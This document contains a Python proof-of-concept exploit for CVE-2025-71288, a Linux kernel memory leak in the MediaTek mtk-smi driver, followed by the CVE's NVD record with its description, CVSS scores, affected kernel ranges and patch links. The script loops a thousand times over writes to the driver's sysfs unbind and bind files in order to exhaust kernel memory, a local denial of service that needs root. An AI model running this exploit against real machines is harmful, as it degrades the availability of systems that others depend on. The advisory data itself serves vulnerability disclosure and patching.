CVE-2025-71288

#!/usr/bin/env python3 """ PoC for CVE-2025-71288 This script attempts to trigger the device leak by repeatedly binding and unbinding the mtk-smi driver, causing memory exhaustion over time. """ import os import time import sys # Target driver path in sysfs DRIVER_PATH = "/sys/bus/platform/drivers/mtk-smi-larb" # Example device name, may vary based on hardware DEVICE_NAME = "mtk-smi-larb0" def trigger_leak(): try: # Unbind the device to trigger remove path with open(os.path.join(DRIVER_PATH, "unbind"), "w") as f: f.write(DEVICE_NAME) # Bind the device to trigger probe path (where leak occurs) with open(os.path.join(DRIVER_PATH, "bind"), "w") as f: f.write(DEVICE_NAME) print(f"[+] Cycle completed: {DEVICE_NAME}") except FileNotFoundError: print("[-] Driver or device not found. System may not be vulnerable or hardware differs.") sys.exit(1) except PermissionError: print("[-] Permission denied. Root privileges required.") sys.exit(1) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("[*] Starting PoC for CVE-2025-71288...") print("[*] Monitor memory usage (e.g., top/htop/free) to observe leak.") for i in range(1000): trigger_leak() time.sleep(0.05) # Short delay to allow system processing print("[*] PoC execution finished.")

{"cve": {"id": "CVE-2025-71288", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:27.987", "lastModified": "2026-05-13T18:42:11.303", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmemory: mtk-smi: fix device leaks on common probe\n\nMake sure to drop the reference taken when looking up the SMI device\nduring common probe on late probe failure (e.g. probe deferral) and on\ndriver unbind."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.77", "matchCriteriaId": "B3D12E00-E42D-4056-B354-BAD4903C03A5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.17", "matchCriteriaId": "A5E006E4-59C7-43C1-9231-62A72219F2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/6cfa038bddd710f544076ea2ef7792fc82fbedd6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9704564a70399c2787f5a7c5d347add721056e9d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/984992f31cfb71b25cd0a72ef51ceb5dd6f187e8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b16599fedf49fd42d174fba342a0b56103df3169", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b44d090d6ca159d94b59ad4cc44ffdaca094df82", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b8b2cf42b94c0a8efe43279643935256a6f58b9f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}